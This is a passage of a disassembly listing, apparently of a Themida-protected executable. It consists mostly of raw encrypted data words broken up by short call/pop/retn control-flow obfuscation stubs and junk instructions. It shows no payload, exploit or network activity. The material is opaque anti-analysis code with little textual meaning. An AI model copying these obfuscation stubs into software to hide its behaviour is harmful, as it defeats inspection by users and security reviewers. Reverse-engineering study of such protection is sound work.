[esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592432 proc near ; CODE XREF: Themida_:0059242Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_592432 endp ; --------------------------------------------------------------------------- push ss sbb eax, [eax+6A2BCFh] call dword ptr [ebp+6A81B31h] pusha adc bx, 6C63h jmp loc_59246B ; --------------------------------------------------------------------------- dw 424h dd 74B6D8E9h, 0AF535337h, 8AA5B87Ah ; --------------------------------------------------------------------------- and [eax-7Ch], bl loc_59246B: ; CODE XREF: Themida_:00592455j popa mov ecx, 860h mov edi, [ebp+6A82FCDh] and ecx, 0FFFFFFFCh push 0 push edx call sub_592485 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592485 proc near ; CODE XREF: Themida_:0059247Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_592485 endp ; --------------------------------------------------------------------------- db 69h, 0E9h, 7 dd 0A4000000h, 1CE31A9Dh, 0FFC8F50h, 0B8FBBFh, 0E8000000h dd 13h, 79356584h, 310AC5E4h, 8A321DCFh, 8554FF7h, 666FE882h dd 2B5FFE8Bh, 0FE8B66D2h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 14B5BD8Bh, 12E806A8h, 0BE000000h, 0B7CBF74h, 0B82C153Ah dd 82691097h, 0F4F5AC3Fh, 0CEBB661Fh, 860F5BA6h, 3, 0DDAB70Fh dd 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0E7C35646h, 0CEDEBBE4h, 958B63CEh, 6A805B9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h, 94679A40h dd 4DBD017Ah, 8B06A827h, 698D8BD9h, 0B706A814h, 0C28B501Bh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0A805DD95h dd 0F8BF0F06h, 0CA18D89h, 0BD8306A8h, 6A80C91h, 68840F00h dd 89000000h, 0A826498Dh, 0B806h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3A0AE4C3h dd 1765BD8Bh, 8D8D06A8h, 6A84FAFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 0A7538BC4h, 0A8277DDFh dd 0FE1FFA2h, 68Bh, 0B1858900h, 8306A833h, 0A80BBDBDh dd 840F0006h, 414h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0AEC35646h, 204B0B7Bh, 0BD8B0393h, 6A83235h dd 0BBDBD83h, 0F0106A8h, 3FA84h, 31958900h, 8B06A809h dd 0A832E99Dh, 0BDBD8306h, 306A80Bh, 3AB860Fh, 5FBF0000h dd 6060C5A7h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0FAC4C351h, 7E9BEh dd 0D28D0000h, 0ED49311Ch, 4E1800Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 7AC35545h, 0AA72EC15h, 85892F3Bh dd 6A80E65h, 840FC90Ah, 131h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 48C35646h, 57BE3E34h, 858B1B21h dd 6A80BE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 2C35646h, 14E8h, 313E5100h, 103329DBh, 0DBD7CA15h dd 22E07A47h, 0D6C10AF5h, 0E7BB666Fh, 85335FBBh, 6A81D5Dh dd 50F8B70Fh, 48986B7h, 9E824h, 29710000h, 0E9F991F9h dd 0FBEF2FBh, 684h, 0C1953100h, 5B06A831h, 0B501006Ah dd 6A81589h, 9668F88Ah, 50FE804Bh, 4DE1BF52h, 310F68B1h dd 585ADA8Bh, 69240481h, 0F9019EB8h, 74195FFh, 0BF6606A8h dd 0AE99AECh, 0CF000000h, 4CDCADA1h, 55A33045h, 27858904h dd 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0B40BC355h, 0D4ED4122h, 0F1B58903h dd 0F06A831h, 0F8Dh, 0AE900h, 0A8F20000h, 0C26B2147h, 0A1DDB2A0h dd 1E3E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 3B09EEFDh, 1F858B84h, 6A06ABA2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0BADC351h, 89F97C55h, 0A8258585h, 1800C706h dd 8B000000h, 0A81491BDh, 23B58B06h, 6A06ABA2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 4E2AC357h, 8BE5087Eh, 0A82B7D85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7E316BAEh dd 0EE989h, 3E460000h, 857FC258h, 10B2252Ah, 789A837Ah dd 0BFD88B66h, 55A6EEA8h, 6A0689h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 7E90EDC3h, 3BE781DAh dd 8B2C116Ah, 0A80BE185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0FCA4A3B1h dd 66044689h, 50C18BBFh, 7E95250h, 0D000000h, 0CE7E1C51h dd 310FB639h, 2820Fh, 61600000h, 3489585Ah, 0F1BD2B24h dd 8106A824h, 0C9E16DF7h, 1FB5FF5Ch, 0F06ABA2h, 5268DABFh dd 8AE5D588h, 240481FCh, 1A497BADh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 88C35545h, 0BE41B53Bh, 0CDC6D70h dd 0B9BD8B22h, 8D06A82Fh, 0ABA22785h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 4ACAF671h, 0BD49E1D8h, 0BF0FB29Ah, 0BE850FAh, 7000000h dd 63FBA866h, 2DD4F7D9h, 0DE88A9Fh, 34000000h, 0C620F8DEh dd 40226D46h, 8597D33Ch, 4895F5Fh, 5BD8B24h, 0FF06A80Fh dd 0A8074195h, 0DAB70F06h, 0CD9D2361h, 0C706A816h, 0A80BBD85h dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 294B8361h, 0A815418Dh, 27BD8306h dd 6ABA2h, 0F840Fh, 81660000h, 0E92D34E3h, 20h, 0FA8B6653h dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0D8C35242h, 0EF843825h, 0B716DFBAh, 2F359D8Bh dd 9D8B06A8h, 6A80675h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 83C35040h, 0BBDBD83h, 0F0306A8h, 50585h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0E83EABCEh, 0Bh, 5E0B4067h, 55E2F277h, 5B60A34Dh dd 0A227BD83h, 0F0006ABh, 4C984h, 0DD2BBF00h, 0B5FF7FE9h dd 6ABA227h, 0C38166F8h, 95FFE18Dh, 6A815F9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6C35040h, 24C345F1h dd 1BB58B2Dh, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 707AC353h, 1FCFCE9h dd 0E781049Eh, 2D8A10C7h, 106C7h, 6A0001h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5149ADC3h dd 433527C0h, 348950FCh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 1461FF27h, 0A98589B2h dd 0FF06A81Bh, 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0DA8B6604h dd 0F598D89h, 95FF06A8h, 6A82199h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0ACC35343h, 7BBEFAC4h, 21F59D0Bh dd 9D8B06A8h, 6A82595h, 0A21BB58Bh, 7E906ABh, 86000000h dd 0B8D62068h, 858B7811h, 6A80E41h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 6DC35747h, 0E95620E8h, 0BD0B80AAh dd 6A83495h, 3C81E781h, 86893D8Ch, 0C4h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 0BC35646h, 0AD11679Dh dd 494ECF8Ch, 459D8BBCh, 8B06A81Bh, 0A805B995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 259589CDh dd 8306A801h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8B6095C3h, 0CA8B66D0h, 0F133BB61h dd 50895DCFh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 8986050Ah, 0B7CA755Dh, 11E9h, 35B62B00h dd 3D16A50Ch, 3F65967Fh, 49A6F1E9h, 858D41C4h, 6ABB7CEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 44C35343h dd 0B88689h, 0BD8B0000h, 6A830B5h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 904350C3h dd 7E8h, 2DD88600h, 3A9F5D9Bh, 33F59D89h, 0FF5B06A8h, 0ABA227B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 800F31C4h, 5, 0A2F8CEBBh, 1D95FF33h, 8B06A81Eh dd 0A8321D9Dh, 14E99606h, 0BF000000h, 0DF698791h, 912E5BCFh dd 3A4B9540h, 0CA37D555h, 502241F1h, 69343ABBh, 6A9621h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0D25DD4C3h, 27B5FF8Ch, 8106ABA2h, 0D7047DEFh, 3880F06h dd 66000000h, 95FFDE8Bh, 6A82A69h, 5352EB80h, 0D5953360h dd 8906A805h, 0A83229BDh, 835F6106h, 0A82E3DBDh, 840F0006h dd 73h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah dd 43C35545h, 0AD0D7618h, 853114F0h, 6A80BD5h, 14850F96h dd 0E9000000h, 0Fh, 8E55CD3Ch, 2874B18Eh, 0D40674B7h, 50CD17E2h dd 0C942EABFh, 6A965Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0AAD27BC3h, 9A3F409Bh, 0A1B5893Ch dd 0FF06A81Ah, 0ABA227B5h, 95FFF906h, 6A83185h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h, 983A5480h dd 0C242FB19h, 1AD8D31h, 0B5FF06A8h, 6ABA227h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 0F5595FFh dd 0BD8B06A8h, 6A81BA1h, 0BD836FB7h, 6A8077Dh, 82840F02h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 54B9C351h, 80BD1F2Dh, 0D19858Bh dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 358DD7C3h, 880F3D91h, 6, 31B99D2Bh, 0C606A8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0D0127FD9h, 0F6044D4h, 0B589D0BFh, 6A82559h dd 0C185C761h, 6A80Dh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0FEFEC352h dd 0F64730Eh, 1BE9F8BFh, 0E8FFFFF3h, 8, 6309A631h, 0AB9EBE27h dd 2FB98501h, 8B5F06A8h, 0FBB70FC1h, 3385858Dh, 0BE806A8h dd 0A5000000h, 82013818h, 99C63DE7h, 8DB3F1DBh, 8B66905Fh dd 525050D8h, 10E851h, 0F5B60000h, 1D195246h, 98FE002Ch dd 3CC6669Dh, 5F5BFD79h, 8E8310Fh, 2000000h, 63E3EFA3h dd 6005C581h, 585A5B61h, 1CBB6690h, 0E9006A52h, 0Bh, 0E580F0F9h dd 6CE6052Ah, 6A88B34Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0D5CBDF45h, 0A55154CDh dd 9D2B7899h, 6A81EC1h, 97E0858Dh, 6A06ACh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0EEC460C3h dd 564BEBB2h, 33A19529h, 605F06A8h, 0E9BD33F8h, 6106A829h dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 863DC351h, 0B7531B71h, 68D0F60h dd 0F000000h, 8Bh, 7D9D8B00h, 6106A826h, 14E850h, 72E80000h dd 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 0EC2D7BB8h, 0BB6695AAh dd 895BA915h, 90B72404h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 5DB30EC3h, 28929EE7h dd 0CB81006Ah, 1AB427CFh, 254195FFh, 6A06A8h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E09FA3C3h dd 33A64BD1h, 0D88ACE27h, 8C7F8D8Dh, 6A06ABh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 528BE5C3h dd 82DE7EACh, 3820F6Eh, 80000000h, 0DB80CBF3h, 83D1FFA1h dd 0A8339DBDh, 850F0106h, 61h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 89C35040h, 18588413h, 66C0BF66h dd 0E8B3026Ah, 0FBBF6650h, 2404895Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0A3C35545h, 95FF0D83h, 6A81E1Dh dd 8E9h, 0EAABBA00h, 0F26F6351h, 0E04E98Ah, 0E80000h, 5D000000h dd 97EAED81h, 0C78006ACh, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 711B1F9Bh dd 0D93A7796h, 858D2378h, 6AB7E2Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 48C35646h, 9D2B2254h, 6A831DDh dd 50515090h, 5A310F52h, 505F5F58h, 310F5250h, 0FE85250h dd 0DF000000h, 74739E56h, 0A2B22F52h, 198926Eh, 0F5B82E2h dd 5A585A31h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 4BE1CAC3h, 0FACD4B16h, 0F9B7E90Dh dd 5E8h, 59FAE00h, 0B589F1D9h, 6A8342Dh, 35FF645Fh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5932C7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5932C7 proc near ; CODE XREF: Themida_:005932BFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5932C7 endp ; --------------------------------------------------------------------------- db 5Ah dd 0CD03222Eh, 0F8AB6022h, 258964F9h, 0 ; --------------------------------------------------------------------------- mov [ebp+6A802D9h], eax mov di, si inc dword ptr [ebp+6A833F1h] xor ebx, [ebp+6A832F5h] push 0FFFFFFFFh and ebx, 48C0C948h push dword ptr [ebp+6A805FDh] push 0 push eax call sub_593316 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593316 proc near ; CODE XREF: Themida_:0059330Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_593316 endp ; --------------------------------------------------------------------------- dw 0F976h dd 66FD3B10h, 0FFF5FE8Bh, 0A82A7D95h, 14AE906h, 8B600000h dd 0A81BA18Dh, 14E906h, 0EE380000h, 694F5B9Eh, 4BCC70D7h dd 6C376753h, 709718CAh, 0B061960Ch, 0CE96000h, 0B0000000h dd 2D798CB7h, 41340172h, 8B30148Fh, 0A83071BDh, 70E66106h dd 71E4D88Bh, 1B3D9D29h, 613C06A8h, 0FA830Fh, 9D8B0000h dd 6A826B1h, 89C8B60Fh, 0A806B1B5h, 6BA06h, 77BB0000h dd 8B1CDB03h, 0C1DE8BC1h, 0DEBB04E8h, 66423012h, 2BF9E2F7h dd 0F58D09C8h, 8B06A80Dh, 0F38166D1h, 7E9CA2Fh, 51000000h dd 1366C6BFh, 858B5B64h, 6A83005h, 68D0Fh, 0BD8B0000h dd 6A8166Dh, 8B07C083h, 0A834199Dh, 0C08306h, 7F9B529h dd 0D03B06A8h, 27830Fh, 0B5290000h, 6A81F29h, 7FE9h, 13E800h dd 53F70000h, 864DB613h, 5F7C001h, 9B973921h, 0ED9B5DBFh dd 0FBB70F56h, 0ED8D8B5Bh, 6606A801h, 0E183FE8Bh, 51840F01h dd 81000000h, 3D6391F3h, 10E84Dh, 8D050000h, 0A752DCEBh dd 256D5BE4h, 0A661A1BBh, 5FFC3779h, 1EDA583h, 66FE06A8h dd 89251BBBh, 0A8300595h, 7E806h, 90B10000h, 0FFA8DA92h dd 0CE938h, 0D8E20000h, 53F3FD09h, 0B5EE514Fh, 0E95FB986h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6ABFAE9h] mov edi, ebx push 0 mov edi, 109B4DD1h call dword ptr [ebp+6A81B31h] jz loc_5934A5 sub [ebp+6A83419h], ecx loc_5934A5: ; CODE XREF: Themida_:00593499j mov ecx, 86Fh push 0 push ebx call sub_5934B5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5934B5 proc near ; CODE XREF: Themida_:005934ADp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5934B5 endp ; --------------------------------------------------------------------------- db 0DBh, 2 dup(3Ch) dd 5C7BD98Fh, 202294BFh, 5FBF6603h, 0FCE183EBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BDC35040h, 0C4F07D7Eh dd 0CE97Eh, 307A0000h, 0EF8E244Eh, 4F86E3E4h, 6AFC1E6Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0EA03C350h, 43F608D9h, 2BF98DDEh, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 90142F24h, 0BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0F4216E0h, 0FF2EA1DEh dd 0C233AD6Eh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 20D3F7EEh, 7E97E0Bh, 41000000h, 81500EDDh, 0B58990B4h dd 6A817C5h, 880Dh, 958BF800h, 6A805B9h, 28D0Fh, 0F0B70000h dd 14698D8Bh, 0BB6606A8h, 8B50459Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 1D85BD8Bh, 0BD8B06A8h, 6A81765h dd 2B899D89h, 0BD8306A8h, 6A80C91h, 0A5840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 3A7FC357h, 0D0C50A11h, 0B8E8A1h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0AA02C351h, 0CDFFE3EBh, 0B98D89E6h, 2306A82Dh dd 0A826319Dh, 0AF8D8D06h, 6A06A84Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8021C356h dd 0E1FF5FE3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0EDC35343h, 5EE64707h, 0BD2B09A4h, 6A81A65h, 0BBDBD83h dd 0F0006A8h, 48184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 5AFE47Bh, 0A39E46A9h dd 13E9FDABh, 94000000h, 0CC0D2FD3h, 53F1CCD6h, 0A66C33A5h dd 0DD60E45Eh, 0BD83F657h, 6A80BBDh, 52840F01h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E949C355h, 0Dh, 0BC9F0F89h, 91703273h, 0A2121192h dd 0BDBD838Eh, 306A80Bh, 3E1860Fh, 0BD030000h, 6A80ADDh dd 664AB760h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 9DAA44C3h, 0DECE9DB0h, 0E1804FD2h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0F46FB5A1h, 0FAC8C389h, 0C90A14FAh, 17F840Fh dd 0BD8B0000h, 6A82649h, 6830Fh, 0BD890000h, 6A82F81h dd 0BE1858Bh, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0AA9138C3h, 7CB41D8h, 0B529E285h dd 6A82151h, 1D5D8533h, 0BF0F06A8h, 500DB7DBh, 89FB8B66h dd 0BE92404h, 0DD000000h, 6C61676Dh, 94C3754Ch, 6A8E16h dd 756FBB66h, 7AE8D168h, 0E9525055h, 0Dh, 70913EB1h, 25EB9426h dd 0A7078D69h, 50310F43h, 0F525052h, 0F585A31h, 0FA8B6631h dd 585A585Ah, 2E243481h, 6A5565EBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A81DC356h dd 0A232E518h, 13E950h, 81930000h, 0BAFE1295h, 0F3327CF8h dd 47ED32BEh, 0CF85D22Ch, 810F5F21h, 8, 0DBD8B51h, 5B06A815h dd 74195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0DE4155C3h, 8C545263h, 860F2844h dd 6, 29BDBD0Bh, 0BF6606A8h, 85897E3Ch, 6ABA227h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 98C35343h, 6533CC58h dd 7EAA07CAh, 0DF81664Ch, 0D0E9A645h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 93D4C356h, 0B70F9177h, 3A294055h, 1D8850BFh, 1F858B17h dd 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 685AC353h, 890F1F84h, 0Bh, 58E0Fh dd 81660000h, 0C7C878F7h, 1800h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 506CE54Ah dd 0B58BB8BFh, 6ABA223h, 858BD98Bh, 6A82B7Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CCC35545h, 39BD8B96h dd 8B06A832h, 0E90689D8h, 10h, 33E1A2D7h, 0A563E768h, 9A3C4C3h dd 0B4B07E46h, 0BE1858Bh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 551EFEC3h, 69AC1311h dd 9D8BD88Bh, 6A80A75h, 6A044689h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 995FC357h dd 13D5A992h, 4E7E9C50h, 53965096h, 2E058589h, 0FF5F06A8h dd 0ABA21FB5h, 1ED78106h, 0E8076255h, 4, 1F03FFh, 0F38B6660h dd 411F02BEh, 66506165h, 8B7AA2BBh, 66042444h, 8BC4EABBh dd 89D98B00h, 8B042444h, 0EB8058F9h, 27858D82h, 0F06ABA2h dd 68Fh, 85B52900h, 5006A819h, 3E3EFBBh, 2404890Eh, 8E9h dd 821C9500h, 0B4624834h, 4195FFBBh, 6A06A807h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0D460C353h, 0BE8h, 7CE05400h, 2B47F2DAh, 98F92E13h dd 1E218D89h, 615B06A8h, 16BD9D8Bh, 9D3106A8h, 6A81AA1h dd 0BBD85C7h, 306A8h, 83F50000h, 0ABA227BDh, 840F0006h dd 37h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh dd 0ECC35343h, 1AEC7D42h, 810F3CBCh, 0ADC6D9CBh, 0DABF0F00h dd 21E9h, 0F5858900h, 5006A802h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0B589C08Bh, 6A807BDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 52C35747h, 83ADCDA4h dd 0A80BBDBDh, 850F0306h, 417h, 0A227BD83h, 0F0006ABh dd 40A84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0FD29DD2Ah, 0C092E6D3h, 0B5FFDD8Ah dd 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 7FC35040h, 3A219484h, 0F063123h, 95FFFEBFh, 6A815F9h dd 0E3DBD29h, 0B58B06A8h, 6ABA21Bh, 0C7FFBF0Fh, 1000106h dd 11BD8900h, 5006A825h, 0A1D1DBBBh, 24348901h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 24C35747h, 0E0EDD5EBh dd 0CACA761Fh, 0CF816096h, 3FC6B6C2h, 3161CDB0h, 0A80FF98Dh dd 27B5FF06h, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0BDC8C353h, 89FD2F43h dd 0FF13D27Ah, 0A8219995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 85F945A7h dd 0BD0301E4h, 6A80211h, 0A21BB58Bh, 9D8B06ABh, 6A81FF9h dd 0E41858Bh dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 115F49C3h, 5736F675h, 2B19D89h, 895B06A8h dd 0C486h, 95850900h, 8B06A82Ah, 0A805B995h, 108C0F06h dd 0E8000000h, 8, 56392Eh, 2C53E2F8h, 835B71B3h, 0E78004C2h dd 205089A9h, 0A6BC06BFh, 0CE858D48h, 6A06ABB7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89BBC350h, 0A822D9B5h, 0B8868906h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0BD7AC357h, 5B47620Dh, 0D1B589A6h, 8B06A828h, 0A81FAD9Dh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 16B2C357h, 0AFC5332Ch, 0BD8B845Ch dd 6A81E39h, 9E9h, 3F611800h, 5F101DB5h, 8166B1DEh, 0FF58DAEFh dd 0ABA227B5h, 1D95FF06h, 6A06A81Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 50CCC357h dd 1CC41E5Fh, 96FBBF0Fh, 9650FA8Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0DFC35343h, 0FFB6954Dh, 0ABA227B5h dd 0C8A0F06h, 0F000000h, 681h, 99958900h, 0FF06A826h, 0A82A6995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 12F53AEBh, 48E0F52h, 66000000h, 5F3230BBh dd 2E3DBD83h, 0F0006A8h, 1B84h, 0BD858900h, 5006A80Ch dd 6E9h, 517F2E00h, 89DB313Eh, 0BD012434h, 6A80D61h, 0A227B5FFh dd 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0D6E64FC3h, 8B0F0376h, 12h, 0DE9h, 0F0C02400h dd 602E08A1h, 0BA3A0E87h, 95FF747Ch, 6A83185h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2DC35343h, 0D09C22F1h dd 0B5FF1A7Eh, 6ABA227h, 7E960h, 6D7A0000h, 0D44EA00Eh dd 0E78166EAh, 0FF61BC89h, 0A80F5595h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 920A198h, 831CB915h, 0A8077DBDh, 840F0206h, 30h, 19858BF8h dd 6A06A80Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 1183C352h, 8B66C191h, 0C6FAh dd 1A54BB66h, 0DC185C7h, 6A8h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0A3E132C3h dd 0A58629D4h, 0FE8F208h, 0C2000000h, 0F35D6709h, 1F18C233h dd 0E4D73DFEh, 8B0F338Bh, 6, 15ED9589h, 0E95B06A8h, 0FFFFF33Dh dd 0E850006Ah, 3, 